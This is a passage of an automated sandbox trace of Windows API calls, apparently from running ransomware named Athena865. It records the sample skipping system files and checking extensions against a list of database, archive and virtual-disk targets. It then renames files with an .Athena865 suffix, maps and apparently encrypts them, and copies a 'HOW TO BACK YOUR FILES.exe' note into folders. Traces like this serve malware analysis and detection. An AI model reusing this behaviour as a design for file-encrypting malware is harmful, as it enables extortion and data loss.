(in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519ff8 | out: hHeap=0x4f0000) returned 1 [0097.878] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0097.878] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc47c3e00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc47c3e00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0097.878] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0097.878] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pending.GRL", cAlternateFileName="")) returned 1 [0097.878] lstrcmpiW (lpString1="Pending.GRL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.878] lstrcmpiW (lpString1="Pending.GRL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.878] lstrcmpiW (lpString1="Pending.GRL", lpString2=".") returned 1 [0097.878] lstrcmpiW (lpString1="Pending.GRL", lpString2="..") returned 1 [0097.879] lstrcmpiW (lpString1="Pending.GRL", lpString2="windows") returned -1 [0097.879] lstrcmpiW (lpString1="Pending.GRL", lpString2="bootmgr") returned 1 [0097.879] lstrcmpiW (lpString1="Pending.GRL", lpString2="temp") returned -1 [0097.879] lstrcmpiW (lpString1="Pending.GRL", lpString2="pagefile.sys") returned 1 [0097.879] lstrcmpiW (lpString1="Pending.GRL", lpString2="boot") returned 1 [0097.879] lstrcmpiW (lpString1="Pending.GRL", lpString2="ids.txt") returned 1 [0097.879] lstrcmpiW (lpString1="Pending.GRL", lpString2="ntuser.dat") returned 1 [0097.879] lstrcmpiW (lpString1="Pending.GRL", lpString2="perflogs") returned -1 [0097.879] lstrcmpiW (lpString1="Pending.GRL", lpString2="MSBuild") returned 1 [0097.879] lstrlenW (lpString="Pending.GRL") returned 11 [0097.879] lstrcpyW (in: lpString1=0x241e880, lpString2="Pending.GRL" | out: lpString1="Pending.GRL") returned="Pending.GRL" [0097.879] lstrlenW (lpString="Pending.GRL") returned 11 [0097.879] lstrlenW (lpString="Athena865") returned 9 [0097.879] lstrcmpiW (lpString1="nding.GRL", lpString2="Athena865") returned 1 [0097.879] lstrlenW (lpString=".dll") returned 4 [0097.879] lstrcmpiW (lpString1="Pending.GRL", lpString2=".dll") returned 1 [0097.879] lstrlenW (lpString=".lnk") returned 4 [0097.879] lstrcmpiW (lpString1="Pending.GRL", lpString2=".lnk") returned 1 [0097.879] lstrlenW (lpString=".ini") returned 4 [0097.879] lstrcmpiW (lpString1="Pending.GRL", lpString2=".ini") returned 1 [0097.879] lstrlenW (lpString=".sys") returned 4 [0097.879] lstrcmpiW (lpString1="Pending.GRL", lpString2=".sys") returned 1 [0097.879] lstrlenW (lpString="Pending.GRL") returned 11 [0097.879] lstrlenW (lpString="bak") returned 3 [0097.879] lstrcmpiW (lpString1="GRL", lpString2="bak") returned 1 [0097.879] lstrlenW (lpString="ba_") returned 3 [0097.879] lstrcmpiW (lpString1="GRL", lpString2="ba_") returned 1 [0097.879] lstrlenW (lpString="dbb") returned 3 [0097.879] lstrcmpiW (lpString1="GRL", lpString2="dbb") returned 1 [0097.880] lstrlenW (lpString="vmdk") returned 4 [0097.880] lstrcmpiW (lpString1=".GRL", lpString2="vmdk") returned -1 [0097.880] lstrlenW (lpString="rar") returned 3 [0097.880] lstrcmpiW (lpString1="GRL", lpString2="rar") returned -1 [0097.880] lstrlenW (lpString="zip") returned 3 [0097.880] lstrcmpiW (lpString1="GRL", lpString2="zip") returned -1 [0097.880] lstrlenW (lpString="tgz") returned 3 [0097.880] lstrcmpiW (lpString1="GRL", lpString2="tgz") returned -1 [0097.880] lstrlenW (lpString="vbox") returned 4 [0097.880] lstrcmpiW (lpString1=".GRL", lpString2="vbox") returned -1 [0097.880] lstrlenW (lpString="vdi") returned 3 [0097.880] lstrcmpiW (lpString1="GRL", lpString2="vdi") returned -1 [0097.880] lstrlenW (lpString="vhd") returned 3 [0097.880] lstrcmpiW (lpString1="GRL", lpString2="vhd") returned -1 [0097.880] lstrlenW (lpString="vhdx") returned 4 [0097.880] lstrcmpiW (lpString1=".GRL", lpString2="vhdx") returned -1 [0097.880] lstrlenW (lpString="avhd") returned 4 [0097.880] lstrcmpiW (lpString1=".GRL", lpString2="avhd") returned -1 [0097.880] lstrlenW (lpString="db") returned 2 [0097.880] lstrcmpiW (lpString1="RL", lpString2="db") returned 1 [0097.880] lstrlenW (lpString="db2") returned 3 [0097.880] lstrcmpiW (lpString1="GRL", lpString2="db2") returned 1 [0097.880] lstrlenW (lpString="db3") returned 3 [0097.880] lstrcmpiW (lpString1="GRL", lpString2="db3") returned 1 [0097.880] lstrlenW (lpString="dbf") returned 3 [0097.880] lstrcmpiW (lpString1="GRL", lpString2="dbf") returned 1 [0097.880] lstrlenW (lpString="mdf") returned 3 [0097.880] lstrcmpiW (lpString1="GRL", lpString2="mdf") returned -1 [0097.880] lstrlenW (lpString="mdb") returned 3 [0097.880] lstrcmpiW (lpString1="GRL", lpString2="mdb") returned -1 [0097.881] lstrlenW (lpString="sql") returned 3 [0097.881] lstrcmpiW (lpString1="GRL", lpString2="sql") returned -1 [0097.881] lstrlenW (lpString="sqlite") returned 6 [0097.881] lstrcmpiW (lpString1="ng.GRL", lpString2="sqlite") returned -1 [0097.881] lstrlenW (lpString="sqlite3") returned 7 [0097.881] lstrcmpiW (lpString1="ing.GRL", lpString2="sqlite3") returned -1 [0097.881] lstrlenW (lpString="sqlitedb") returned 8 [0097.881] lstrcmpiW (lpString1="ding.GRL", lpString2="sqlitedb") returned -1 [0097.881] lstrlenW (lpString="xml") returned 3 [0097.881] lstrcmpiW (lpString1="GRL", lpString2="xml") returned -1 [0097.881] lstrlenW (lpString="$er") returned 3 [0097.881] lstrcmpiW (lpString1="GRL", lpString2="$er") returned 1 [0097.881] lstrlenW (lpString="4dd") returned 3 [0097.881] lstrcmpiW (lpString1="GRL", lpString2="4dd") returned 1 [0097.881] lstrlenW (lpString="4dl") returned 3 [0097.881] lstrcmpiW (lpString1="GRL", lpString2="4dl") returned 1 [0097.881] lstrlenW (lpString="^^^") returned 3 [0097.881] lstrcmpiW (lpString1="GRL", lpString2="^^^") returned 1 [0097.881] lstrlenW (lpString="abs") returned 3 [0097.881] lstrcmpiW (lpString1="GRL", lpString2="abs") returned 1 [0097.881] lstrlenW (lpString="abx") returned 3 [0097.881] lstrcmpiW (lpString1="GRL", lpString2="abx") returned 1 [0097.881] lstrlenW (lpString="accdb") returned 5 [0097.881] lstrcmpiW (lpString1="g.GRL", lpString2="accdb") returned 1 [0097.881] lstrlenW (lpString="accdc") returned 5 [0097.881] lstrcmpiW (lpString1="g.GRL", lpString2="accdc") returned 1 [0097.881] lstrlenW (lpString="accde") returned 5 [0097.881] lstrcmpiW (lpString1="g.GRL", lpString2="accde") returned 1 [0097.881] lstrlenW (lpString="accdr") returned 5 [0097.881] lstrcmpiW (lpString1="g.GRL", lpString2="accdr") returned 1 [0097.882] lstrlenW (lpString="accdt") returned 5 [0097.882] lstrcmpiW (lpString1="g.GRL", lpString2="accdt") returned 1 [0097.882] lstrlenW (lpString="accdw") returned 5 [0097.882] lstrcmpiW (lpString1="g.GRL", lpString2="accdw") returned 1 [0097.882] lstrlenW (lpString="accft") returned 5 [0097.882] lstrcmpiW (lpString1="g.GRL", lpString2="accft") returned 1 [0097.882] lstrlenW (lpString="adb") returned 3 [0097.882] lstrcmpiW (lpString1="GRL", lpString2="adb") returned 1 [0097.882] lstrlenW (lpString="adb") returned 3 [0097.882] lstrcmpiW (lpString1="GRL", lpString2="adb") returned 1 [0097.882] lstrlenW (lpString="ade") returned 3 [0097.882] lstrcmpiW (lpString1="GRL", lpString2="ade") returned 1 [0097.882] lstrlenW (lpString="adf") returned 3 [0097.882] lstrcmpiW (lpString1="GRL", lpString2="adf") returned 1 [0097.882] lstrlenW (lpString="adn") returned 3 [0097.882] lstrcmpiW (lpString1="GRL", lpString2="adn") returned 1 [0097.882] lstrlenW (lpString="adp") returned 3 [0097.882] lstrcmpiW (lpString1="GRL", lpString2="adp") returned 1 [0097.882] lstrlenW (lpString="alf") returned 3 [0097.882] lstrcmpiW (lpString1="GRL", lpString2="alf") returned 1 [0097.882] lstrlenW (lpString="ask") returned 3 [0097.882] lstrcmpiW (lpString1="GRL", lpString2="ask") returned 1 [0097.882] lstrlenW (lpString="btr") returned 3 [0097.882] lstrcmpiW (lpString1="GRL", lpString2="btr") returned 1 [0097.882] lstrlenW (lpString="cat") returned 3 [0097.882] lstrcmpiW (lpString1="GRL", lpString2="cat") returned 1 [0097.882] lstrlenW (lpString="cdb") returned 3 [0097.882] lstrcmpiW (lpString1="GRL", lpString2="cdb") returned 1 [0097.882] lstrlenW (lpString="ckp") returned 3 [0097.882] lstrcmpiW (lpString1="GRL", lpString2="ckp") returned 1 [0097.883] lstrlenW (lpString="cma") returned 3 [0097.883] lstrcmpiW (lpString1="GRL", lpString2="cma") returned 1 [0097.883] lstrlenW (lpString="cpd") returned 3 [0097.883] lstrcmpiW (lpString1="GRL", lpString2="cpd") returned 1 [0097.883] lstrlenW (lpString="dacpac") returned 6 [0097.883] lstrcmpiW (lpString1="ng.GRL", lpString2="dacpac") returned 1 [0097.883] lstrlenW (lpString="dad") returned 3 [0097.883] lstrcmpiW (lpString1="GRL", lpString2="dad") returned 1 [0097.883] lstrlenW (lpString="dadiagrams") returned 10 [0097.883] lstrcmpiW (lpString1="ending.GRL", lpString2="dadiagrams") returned 1 [0097.883] lstrlenW (lpString="daschema") returned 8 [0097.883] lstrcmpiW (lpString1="ding.GRL", lpString2="daschema") returned 1 [0097.883] lstrlenW (lpString="db-journal") returned 10 [0097.883] lstrcmpiW (lpString1="ending.GRL", lpString2="db-journal") returned 1 [0097.883] lstrlenW (lpString="db-shm") returned 6 [0097.883] lstrcmpiW (lpString1="ng.GRL", lpString2="db-shm") returned 1 [0097.883] lstrlenW (lpString="db-wal") returned 6 [0097.883] lstrcmpiW (lpString1="ng.GRL", lpString2="db-wal") returned 1 [0097.883] lstrlenW (lpString="dbc") returned 3 [0097.883] lstrcmpiW (lpString1="GRL", lpString2="dbc") returned 1 [0097.883] lstrlenW (lpString="dbs") returned 3 [0097.883] lstrcmpiW (lpString1="GRL", lpString2="dbs") returned 1 [0097.883] lstrlenW (lpString="dbt") returned 3 [0097.883] lstrcmpiW (lpString1="GRL", lpString2="dbt") returned 1 [0097.883] lstrlenW (lpString="dbv") returned 3 [0097.883] lstrcmpiW (lpString1="GRL", lpString2="dbv") returned 1 [0097.883] lstrlenW (lpString="dbx") returned 3 [0097.883] lstrcmpiW (lpString1="GRL", lpString2="dbx") returned 1 [0097.883] lstrlenW (lpString="dcb") returned 3 [0097.883] lstrcmpiW (lpString1="GRL", lpString2="dcb") returned 1 [0097.884] lstrcmpiW (lpString1="GRL", lpString2="dct") returned 1 [0097.884] lstrcmpiW (lpString1="GRL", lpString2="dcx") returned 1 [0097.884] lstrcmpiW (lpString1="GRL", lpString2="ddl") returned 1 [0097.884] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL.Athena865") returned 49 [0097.884] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL" (normalized: "c:\\programdata\\microsoft\\mf\\pending.grl"), lpNewFileName="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL.Athena865" (normalized: "c:\\programdata\\microsoft\\mf\\pending.grl.athena865"), dwFlags=0x1) returned 1 [0097.885] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL.Athena865" (normalized: "c:\\programdata\\microsoft\\mf\\pending.grl.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0097.885] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14972) returned 1 [0097.885] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0097.885] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5397e8 [0097.885] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519ff8 [0097.885] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a080) returned 1 [0097.886] CryptGenRandom (in: hProv=0x51a080, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0097.886] CryptReleaseContext (hProv=0x51a080, dwFlags=0x0) returned 1 [0097.886] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3d80, lpName=0x0) returned 0x154 [0097.889] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3d80) returned 0x100000 [0097.890] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a080) returned 1 [0097.890] CryptGenRandom (in: hProv=0x51a080, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0097.890] CryptReleaseContext (hProv=0x51a080, dwFlags=0x0) returned 1 [0097.891] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539860 [0097.891] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539860 | out: hHeap=0x4f0000) returned 1 [0097.891] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53edd0 [0097.891] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0097.891] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0097.891] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0097.891] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53edd0 [0097.891] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0097.891] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0097.891] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0097.891] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0097.891] CloseHandle (hObject=0x154) returned 1 [0097.891] CloseHandle (hObject=0x17c) returned 1 [0097.892] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5397e8 | out: hHeap=0x4f0000) returned 1 [0097.892] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519ff8 | out: hHeap=0x4f0000) returned 1 [0097.892] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0097.893] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pending.GRL", cAlternateFileName="")) returned 0 [0097.894] FindClose (in: hFindFile=0x529590 | out: hFindFile=0x529590) returned 1 [0097.894] ReleaseMutex (hMutex=0xec) returned 1 [0097.894] CloseHandle (hObject=0xec) returned 1 [0097.894] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Microsoft\\MSDN" | out: lpString1="C:\\ProgramData\\Microsoft\\MSDN") returned="C:\\ProgramData\\Microsoft\\MSDN" [0097.894] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50f520 | out: hHeap=0x4f0000) returned 1 [0097.894] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530c38 | out: hHeap=0x4f0000) returned 1 [0097.894] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\MSDN") returned 29 [0097.894] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\61ADB86AFE041748021BB55C48F8A989") returned 0xec [0097.894] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0097.894] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\MSDN" | out: lpString1="C:\\ProgramData\\Microsoft\\MSDN") returned="C:\\ProgramData\\Microsoft\\MSDN" [0097.894] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0097.894] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\MSDN\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\msdn\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.895] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\MSDN\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\msdn\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0097.895] GetLastError () returned 0x0 [0097.895] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0097.895] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53edd0 [0097.895] ReadFile (in: hFile=0xf4, lpBuffer=0x53edd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53edd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0097.896] CloseHandle (hObject=0xf4) returned 1 [0097.896] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0097.896] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0097.896] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\MSDN\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc47c3e00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc47c3e00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529590 [0097.896] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.896] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.896] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0097.896] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc47c3e00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc47c3e00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.896] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.896] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.896] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0097.896] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0097.896] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8.0", cAlternateFileName="")) returned 1 [0097.896] lstrcmpiW (lpString1="8.0", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.897] lstrcmpiW (lpString1="8.0", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.897] lstrcmpiW (lpString1="8.0", lpString2=".") returned 1 [0097.897] lstrcmpiW (lpString1="8.0", lpString2="..") returned 1 [0097.897] lstrcmpiW (lpString1="8.0", lpString2="windows") returned -1 [0097.897] lstrcmpiW (lpString1="8.0", lpString2="bootmgr") returned -1 [0097.897] lstrcmpiW (lpString1="8.0", lpString2="temp") returned -1 [0097.897] lstrcmpiW (lpString1="8.0", lpString2="pagefile.sys") returned -1 [0097.897] lstrcmpiW (lpString1="8.0", lpString2="boot") returned -1 [0097.897] lstrcmpiW (lpString1="8.0", lpString2="ids.txt") returned -1 [0097.897] lstrcmpiW (lpString1="8.0", lpString2="ntuser.dat") returned -1 [0097.897] lstrcmpiW (lpString1="8.0", lpString2="perflogs") returned -1 [0097.897] lstrcmpiW (lpString1="8.0", lpString2="MSBuild") returned -1 [0097.897] lstrlenW (lpString="8.0") returned 3 [0097.897] lstrcpyW (in: lpString1=0x241e884, lpString2="8.0" | out: lpString1="8.0") returned="8.0" [0097.897] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530c38 [0097.897] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x44) returned 0x517488 [0097.897] lstrcatW (in: lpString1="8.0", lpString2="\\" | out: lpString1="8.0\\") returned="8.0\\" [0097.897] lstrcatW (in: lpString1="8.0\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="8.0\\HOW TO BACK YOUR FILES.exe") returned="8.0\\HOW TO BACK YOUR FILES.exe" [0097.897] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\MSDN\\8.0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\msdn\\8.0\\how to back your files.exe"), bFailIfExists=1) returned 1 [0097.899] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc47c3e00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc47c3e00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0097.899] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0097.899] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc47c3e00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc47c3e00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0097.900] FindClose (in: hFindFile=0x529590 | out: hFindFile=0x529590) returned 1 [0097.900] ReleaseMutex (hMutex=0xec) returned 1 [0097.900] CloseHandle (hObject=0xec) returned 1 [0097.900] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Microsoft\\NetFramework" | out: lpString1="C:\\ProgramData\\Microsoft\\NetFramework") returned="C:\\ProgramData\\Microsoft\\NetFramework" [0097.900] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5164d0 | out: hHeap=0x4f0000) returned 1 [0097.900] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530c50 | out: hHeap=0x4f0000) returned 1 [0097.900] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\NetFramework") returned 37 [0097.900] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\531D7C164A0D8C1EEA771569E921AEE0") returned 0xec [0097.900] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0097.900] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\NetFramework" | out: lpString1="C:\\ProgramData\\Microsoft\\NetFramework") returned="C:\\ProgramData\\Microsoft\\NetFramework" [0097.900] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0097.900] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\NetFramework\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\netframework\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.900] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\netframework\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0097.901] GetLastError () returned 0x0 [0097.901] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0097.901] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53edd0 [0097.901] ReadFile (in: hFile=0xf4, lpBuffer=0x53edd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53edd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0097.902] CloseHandle (hObject=0xf4) returned 1 [0097.902] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0097.902] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0097.902] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xc47c3e00, ftLastAccessTime.dwHighDateTime=0x1d575b6, 